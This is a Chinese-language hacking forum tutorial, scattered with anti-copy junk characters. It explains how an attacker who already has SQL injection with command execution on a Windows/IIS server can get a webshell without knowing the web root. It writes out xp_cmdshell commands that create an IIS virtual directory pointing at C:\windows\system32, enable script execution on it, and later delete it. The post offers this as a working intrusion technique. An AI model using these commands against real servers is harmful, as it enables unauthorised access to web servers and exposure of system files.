返回列表 发帖

[原创教程] 如何SQL注入建立虚拟目录

很多情况下我们都会遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,应该算是无意中发现了一招,感觉不错 整理下发上来给大家分享:% y2 M) x* O+ i6 G3 A0 e
: G& w* d& j$ c4 \
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'! _; E9 }5 j, |; ~( u6 U
建立虚拟目录win,指向c:\windows\system32
. q7 E/ k" H  c2 q7 b9 A# \1 X. t3 Qexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
4 [8 d- A# q( V3 k. x) W+ _让win句有解析asp脚本权限
9 w4 s( H  }3 K* L. A" a
0 h  r9 F: u. [1 i0 G3 uexec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
3 V, R6 f1 Z, _  I删除虚拟目录。
# O0 `, g1 ^! V( L找不到web绝对路径的一种解决办法,
1 j$ c9 I% C. s/ E3 N$ W
: v4 E3 A  g0 L2 y403错误,表示虚拟目录建好了。。
1

评分人数

返回列表